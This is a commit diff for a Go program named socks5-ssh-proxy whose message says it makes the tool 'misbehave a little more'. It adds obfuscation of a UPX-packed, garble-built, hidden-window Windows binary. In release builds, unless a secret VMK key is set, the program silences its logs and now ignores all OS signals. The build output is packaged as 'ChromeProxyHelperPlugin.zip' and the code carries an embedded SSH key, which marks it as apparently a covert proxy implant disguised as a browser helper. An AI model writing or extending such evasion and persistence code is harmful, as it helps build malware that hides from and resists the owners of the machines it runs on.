Add systemIgnoreAllSignals in release build when VMK is not used so we misbehave a little more

Makefile

@@ -22,6 +22,7 @@ win: socks5-ssh-proxy.exe
 socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
 	GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@
 	upx $@
+	go run cmd/upx-obfuscator/main.go $@
 goreleaser: resources $(GARBLE_BIN)
 	goreleaser build --clean --snapshot --id win-release
 win-package: ChromeProxyHelperPlugin.zip

config.go

@@ -8,6 +8,8 @@ type config struct {
 	// In release builds the verbose mode is silenced when this key is given
 	//  verbose mode is force enabled. The key is read from the "VMK" environment
 	//  variable at startup.
+	//
+	// NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile
 	VerboseModeKey string
 
 	// SSH server user name

config_template.go

@@ -1,7 +1,6 @@
 //go:build !release
 // +build !release
 
-//
 package main
 
 import "strings"

main.go

@@ -135,6 +135,11 @@ func main() {
 
 	systemGetWellKnownBinaryPaths()
 
+	mainLoop()
+}
+
+func mainLoop() {
 	for {
+		// TODO handle CTRL+C in debug and release + VMK modes
 	}
 }

main_debug.go

@@ -1,7 +1,6 @@
 //go:build !release
 // +build !release
 
-//
 package main
 
 var resourceSSHPrivateKey string

main_release.go

@@ -1,7 +1,6 @@
 //go:build release
 // +build release
 
-//
 package main
 
 import (
@@ -16,5 +15,6 @@ func init() {
 	dontSilenceKey := os.Getenv("VMK")
 	if dontSilenceKey != cfg.VerboseModeKey {
 		systemRouteAllLogging(os.DevNull)
+		systemIgnoreAllSignals()
 	}
 }

system.go

@@ -4,6 +4,7 @@ import (
 	"fmt"
 	"log"
 	"os"
+	"os/signal"
 	"path/filepath"
 )
 
@@ -92,3 +93,20 @@ func systemGetWellKnownBinaryPaths() []string {
 
 	return existingPaths
 }
+
+func systemIgnoreAllSignals() {
+	// Create a channel to receive OS signals.
+	sigs := make(chan os.Signal, 1)
+
+	// Notify the signal channel for all signals (you can add more if needed)
+	signal.Notify(sigs)
+
+	// This goroutine receives signals but does nothing with them.
+	go func() {
+		for sig := range sigs {
+			// Signal received but ignored
+			_ = sig
+			log.Println("Received OS signal", sig)
+		}
+	}()
+}